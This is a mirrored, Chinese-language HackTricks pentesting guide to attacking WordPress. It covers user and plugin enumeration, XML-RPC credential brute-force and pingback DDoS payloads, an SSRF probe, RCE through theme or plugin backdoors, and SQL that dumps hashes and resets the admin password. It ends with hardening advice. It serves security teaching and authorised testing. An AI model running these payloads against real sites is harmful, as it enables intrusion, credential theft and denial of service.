mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
398 lines
17 KiB
Markdown
398 lines
17 KiB
Markdown
# Wordpress
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 基本信息
|
||
|
||
- **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||
- **主题文件可以在 /wp-content/themes/ 中找到,** 所以如果你修改主题的某些 php 文件以获取 RCE,你可能会使用该路径。例如:使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- 在 **wp-config.php** 中可以找到数据库的根密码。
|
||
- 默认登录路径检查: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||
|
||
### **主要 WordPress 文件**
|
||
|
||
- `index.php`
|
||
- `license.txt` 包含有用的信息,例如安装的 WordPress 版本。
|
||
- `wp-activate.php` 用于设置新 WordPress 网站时的电子邮件激活过程。
|
||
- 登录文件夹(可能被重命名以隐藏):
|
||
- `/wp-admin/login.php`
|
||
- `/wp-admin/wp-login.php`
|
||
- `/login.php`
|
||
- `/wp-login.php`
|
||
- `xmlrpc.php` 是一个代表 WordPress 功能的文件,允许数据通过 HTTP 作为传输机制,XML 作为编码机制进行传输。这种类型的通信已被 WordPress [REST API](https://developer.wordpress.org/rest-api/reference) 替代。
|
||
- `wp-content` 文件夹是存储插件和主题的主要目录。
|
||
- `wp-content/uploads/` 是存储上传到平台的任何文件的目录。
|
||
- `wp-includes/` 这是存储核心文件的目录,例如证书、字体、JavaScript 文件和小部件。
|
||
- `wp-sitemap.xml` 在 WordPress 版本 5.5 及更高版本中,WordPress 生成一个包含所有公共帖子和可公开查询的帖子类型及分类法的站点地图 XML 文件。
|
||
|
||
**后期利用**
|
||
|
||
- `wp-config.php` 文件包含 WordPress 连接数据库所需的信息,例如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐,以及数据库表前缀。此配置文件还可以用于激活 DEBUG 模式,这在故障排除时可能很有用。
|
||
|
||
### 用户权限
|
||
|
||
- **管理员**
|
||
- **编辑**: 发布和管理他和其他人的帖子
|
||
- **作者**: 发布和管理自己的帖子
|
||
- **贡献者**: 撰写和管理自己的帖子但不能发布
|
||
- **订阅者**: 浏览帖子并编辑他们的个人资料
|
||
|
||
## **被动枚举**
|
||
|
||
### **获取 WordPress 版本**
|
||
|
||
检查是否可以找到文件 `/license.txt` 或 `/readme.html`
|
||
|
||
在页面的 **源代码** 中(来自 [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) 的示例):
|
||
|
||
- grep
|
||
```bash
|
||
curl https://victim.com/ | grep 'content="WordPress'
|
||
```
|
||
- `meta name`
|
||
|
||
.png>)
|
||
|
||
- CSS 链接文件
|
||
|
||
.png>)
|
||
|
||
- JavaScript 文件
|
||
|
||
### 获取插件
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### 获取主题
|
||
```bash
|
||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### 提取版本信息一般来说
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
|
||
```
|
||
## 主动枚举
|
||
|
||
### 插件和主题
|
||
|
||
您可能无法找到所有可能的插件和主题。为了发现它们,您需要**主动暴力破解插件和主题的列表**(希望对我们来说,有自动化工具包含这些列表)。
|
||
|
||
### 用户
|
||
|
||
- **ID 暴力破解:** 您可以通过暴力破解用户 ID 从 WordPress 网站获取有效用户:
|
||
```bash
|
||
curl -s -I -X GET http://blog.example.com/?author=1
|
||
```
|
||
如果响应是 **200** 或 **30X**,这意味着 id 是 **有效** 的。如果响应是 **400**,那么 id 是 **无效** 的。
|
||
|
||
- **wp-json:** 你也可以通过查询来获取用户的信息:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/wp/v2/users
|
||
```
|
||
另一个可以揭示用户信息的 `/wp-json/` 端点是:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||
```
|
||
注意,此端点仅公开已发布帖子的用户。**仅提供启用此功能的用户的信息**。
|
||
|
||
还要注意,**/wp-json/wp/v2/pages** 可能会泄露 IP 地址。
|
||
|
||
- **登录用户名枚举**:在 **`/wp-login.php`** 登录时,**消息**在指示的 **用户名是否存在** 时是 **不同的**。
|
||
|
||
### XML-RPC
|
||
|
||
如果 `xml-rpc.php` 处于活动状态,您可以执行凭据暴力破解或使用它对其他资源发起 DoS 攻击。(您可以通过[使用这个](https://github.com/relarizky/wpxploit)来自动化此过程,例如)。
|
||
|
||
要查看它是否处于活动状态,请尝试访问 _**/xmlrpc.php**_ 并发送此请求:
|
||
|
||
**检查**
|
||
```markup
|
||
<methodCall>
|
||
<methodName>system.listMethods</methodName>
|
||
<params></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
**凭证暴力破解**
|
||
|
||
**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭证的方法。如果你能找到其中任何一个,你可以发送类似于:
|
||
```markup
|
||
<methodCall>
|
||
<methodName>wp.getUsersBlogs</methodName>
|
||
<params>
|
||
<param><value>admin</value></param>
|
||
<param><value>pass</value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
消息 _"用户名或密码不正确"_ 应在 200 代码响应中出现,如果凭据无效。
|
||
|
||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||
|
||
.png>)
|
||
|
||
使用正确的凭据,您可以上传文件。在响应中,路径将出现 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||
```markup
|
||
<?xml version='1.0' encoding='utf-8'?>
|
||
<methodCall>
|
||
<methodName>wp.uploadFile</methodName>
|
||
<params>
|
||
<param><value><string>1</string></value></param>
|
||
<param><value><string>username</string></value></param>
|
||
<param><value><string>password</string></value></param>
|
||
<param>
|
||
<value>
|
||
<struct>
|
||
<member>
|
||
<name>name</name>
|
||
<value><string>filename.jpg</string></value>
|
||
</member>
|
||
<member>
|
||
<name>type</name>
|
||
<value><string>mime/type</string></value>
|
||
</member>
|
||
<member>
|
||
<name>bits</name>
|
||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||
</member>
|
||
</struct>
|
||
</value>
|
||
</param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
还有一种**更快的方法**可以使用**`system.multicall`**进行暴力破解凭据,因为您可以在同一请求中尝试多个凭据:
|
||
|
||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**绕过 2FA**
|
||
|
||
此方法是针对程序而非人类的,并且较旧,因此不支持 2FA。因此,如果您拥有有效的凭据,但主要入口受到 2FA 保护,**您可能能够利用 xmlrpc.php 使用这些凭据登录,从而绕过 2FA**。请注意,您将无法执行通过控制台可以执行的所有操作,但您仍然可能能够达到 RCE,正如 Ippsec 在 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) 中解释的那样。
|
||
|
||
**DDoS 或端口扫描**
|
||
|
||
如果您可以在列表中找到方法 _**pingback.ping**_,则可以使 Wordpress 向任何主机/端口发送任意请求。\
|
||
这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**(因此在该位置造成**DDoS**),或者您可以用它让**Wordpress**去**扫描**某个内部**网络**(您可以指定任何端口)。
|
||
```markup
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params><param>
|
||
<value><string>http://<YOUR SERVER >:<port></string></value>
|
||
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
||
</value></param></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
如果你得到的 **faultCode** 值 **大于** **0** (17),这意味着端口是开放的。
|
||
|
||
查看上一节中 **`system.multicall`** 的使用,了解如何利用此方法造成 DDoS。
|
||
|
||
**DDoS**
|
||
```markup
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params>
|
||
<param><value><string>http://target/</string></value></param>
|
||
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
.png>)
|
||
|
||
### wp-cron.php DoS
|
||
|
||
此文件通常位于Wordpress站点的根目录下:**`/wp-cron.php`**\
|
||
当访问此文件时,会执行一个“**重**”的MySQL **查询**,因此可能被**攻击者**用来**造成****DoS**。\
|
||
此外,默认情况下,`wp-cron.php`在每次页面加载时被调用(每当客户端请求任何Wordpress页面时),在高流量网站上可能会导致问题(DoS)。
|
||
|
||
建议禁用Wp-Cron,并在主机内创建一个真实的cronjob,以定期执行所需的操作(而不造成问题)。
|
||
|
||
### /wp-json/oembed/1.0/proxy - SSRF
|
||
|
||
尝试访问_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_,Wordpress站点可能会向您发出请求。
|
||
|
||
当它不起作用时的响应是:
|
||
|
||
.png>)
|
||
|
||
## SSRF
|
||
|
||
{{#ref}}
|
||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||
{{#endref}}
|
||
|
||
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**,如果存在,则尝试利用它们。
|
||
|
||
## Automatic Tools
|
||
```bash
|
||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||
```
|
||
## 通过覆盖一个比特获取访问权限
|
||
|
||
这不仅仅是一次真正的攻击,而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中,你可以翻转任何 WordPress 文件中的 1 个比特。因此,你可以将文件 `/var/www/html/wp-includes/user.php` 中的位置 `5389` 翻转为 NOP 操作。
|
||
```php
|
||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||
return new WP_Error(
|
||
```
|
||
## **面板 RCE**
|
||
|
||
**修改所用主题的 php(需要管理员凭据)**
|
||
|
||
外观 → 主题编辑器 → 404 模板(在右侧)
|
||
|
||
将内容更改为 php shell:
|
||
|
||
.png>)
|
||
|
||
在互联网上搜索如何访问该更新页面。在这种情况下,您必须访问这里: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
### MSF
|
||
|
||
您可以使用:
|
||
```bash
|
||
use exploit/unix/webapp/wp_admin_shell_upload
|
||
```
|
||
获取会话。
|
||
|
||
## 插件 RCE
|
||
|
||
### PHP 插件
|
||
|
||
可能可以将 .php 文件作为插件上传。\
|
||
使用例如以下方法创建您的 php 后门:
|
||
|
||
.png>)
|
||
|
||
然后添加一个新插件:
|
||
|
||
.png>)
|
||
|
||
上传插件并按“立即安装”:
|
||
|
||
.png>)
|
||
|
||
点击继续:
|
||
|
||
.png>)
|
||
|
||
这可能看起来没有任何作用,但如果您去媒体,您会看到您的 shell 已上传:
|
||
|
||
.png>)
|
||
|
||
访问它,您将看到执行反向 shell 的 URL:
|
||
|
||
.png>)
|
||
|
||
### 上传和激活恶意插件
|
||
|
||
此方法涉及安装已知存在漏洞的恶意插件,并可以利用该漏洞获取 web shell。此过程通过 WordPress 仪表板进行,如下所示:
|
||
|
||
1. **插件获取**:从 Exploit DB 等来源获取插件,如 [**这里**](https://www.exploit-db.com/exploits/36374)。
|
||
2. **插件安装**:
|
||
- 导航到 WordPress 仪表板,然后转到 `仪表板 > 插件 > 上传插件`。
|
||
- 上传下载插件的 zip 文件。
|
||
3. **插件激活**:插件成功安装后,必须通过仪表板激活。
|
||
4. **利用**:
|
||
- 安装并激活插件“reflex-gallery”,可以利用该插件,因为已知存在漏洞。
|
||
- Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。
|
||
- 注意,这只是利用 WordPress 网站的众多方法之一。
|
||
|
||
内容包括描述在 WordPress 仪表板中安装和激活插件步骤的视觉辅助工具。然而,重要的是要注意,以这种方式利用漏洞在没有适当授权的情况下是非法和不道德的。此信息应负责任地使用,仅在法律背景下使用,例如在获得明确许可的渗透测试中。
|
||
|
||
**有关更详细的步骤,请查看:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||
|
||
## 从 XSS 到 RCE
|
||
|
||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike):_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他 WordPress 中的关键漏洞的脚本。有关更多信息,请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **WordPress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:**
|
||
- _**权限提升:**_ 在 WordPress 中创建用户。
|
||
- _**(RCE) 自定义插件(后门)上传:**_ 将您的自定义插件(后门)上传到 WordPress。
|
||
- _**(RCE) 内置插件编辑:**_ 编辑 WordPress 中的内置插件。
|
||
- _**(RCE) 内置主题编辑:**_ 编辑 WordPress 中的内置主题。
|
||
- _**(自定义) 自定义利用:**_ 针对第三方 WordPress 插件/主题的自定义利用。
|
||
|
||
## 后期利用
|
||
|
||
提取用户名和密码:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||
```
|
||
更改管理员密码:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||
```
|
||
## Wordpress 插件渗透测试
|
||
|
||
### 攻击面
|
||
|
||
了解 Wordpress 插件如何暴露功能是发现其功能漏洞的关键。您可以在以下要点中找到插件可能暴露功能的方式,以及一些易受攻击插件的示例,详见 [**这篇博客文章**](https://nowotarski.info/wordpress-nonce-authorization/)。
|
||
|
||
- **`wp_ajax`**
|
||
|
||
插件暴露功能的一种方式是通过 AJAX 处理程序。这些处理程序可能包含逻辑、授权或身份验证漏洞。此外,这些函数通常会基于 Wordpress nonce 的存在来进行身份验证和授权,而 **任何在 Wordpress 实例中经过身份验证的用户都可能拥有**(与其角色无关)。
|
||
|
||
这些是可以用来在插件中暴露功能的函数:
|
||
```php
|
||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||
```
|
||
**使用 `nopriv` 使得端点可以被任何用户访问(甚至是未认证的用户)。**
|
||
|
||
> [!CAUTION]
|
||
> 此外,如果该函数只是使用 `wp_verify_nonce` 检查用户的授权,该函数仅检查用户是否已登录,通常并不检查用户的角色。因此,低权限用户可能会访问高权限的操作。
|
||
|
||
- **REST API**
|
||
|
||
还可以通过使用 `register_rest_route` 函数从 WordPress 暴露函数:
|
||
```php
|
||
register_rest_route(
|
||
$this->namespace, '/get/', array(
|
||
'methods' => WP_REST_Server::READABLE,
|
||
'callback' => array($this, 'getData'),
|
||
'permission_callback' => '__return_true'
|
||
)
|
||
);
|
||
```
|
||
`permission_callback` 是一个回调函数,用于检查给定用户是否有权调用 API 方法。
|
||
|
||
**如果使用内置的 `__return_true` 函数,它将简单地跳过用户权限检查。**
|
||
|
||
- **直接访问 php 文件**
|
||
|
||
当然,Wordpress 使用 PHP,插件中的文件可以直接从网络访问。因此,如果一个插件暴露了任何通过访问文件触发的脆弱功能,那么任何用户都可以利用它。
|
||
|
||
## WordPress 保护
|
||
|
||
### 定期更新
|
||
|
||
确保 WordPress、插件和主题是最新的。还要确认在 wp-config.php 中启用了自动更新:
|
||
```bash
|
||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||
add_filter( 'auto_update_plugin', '__return_true' );
|
||
add_filter( 'auto_update_theme', '__return_true' );
|
||
```
|
||
也**只安装可信的 WordPress 插件和主题**。
|
||
|
||
### 安全插件
|
||
|
||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||
|
||
### **其他建议**
|
||
|
||
- 移除默认的 **admin** 用户
|
||
- 使用 **强密码** 和 **2FA**
|
||
- 定期 **审查** 用户 **权限**
|
||
- **限制登录尝试** 以防止暴力攻击
|
||
- 重命名 **`wp-admin.php`** 文件,并仅允许内部或来自特定 IP 地址的访问。
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|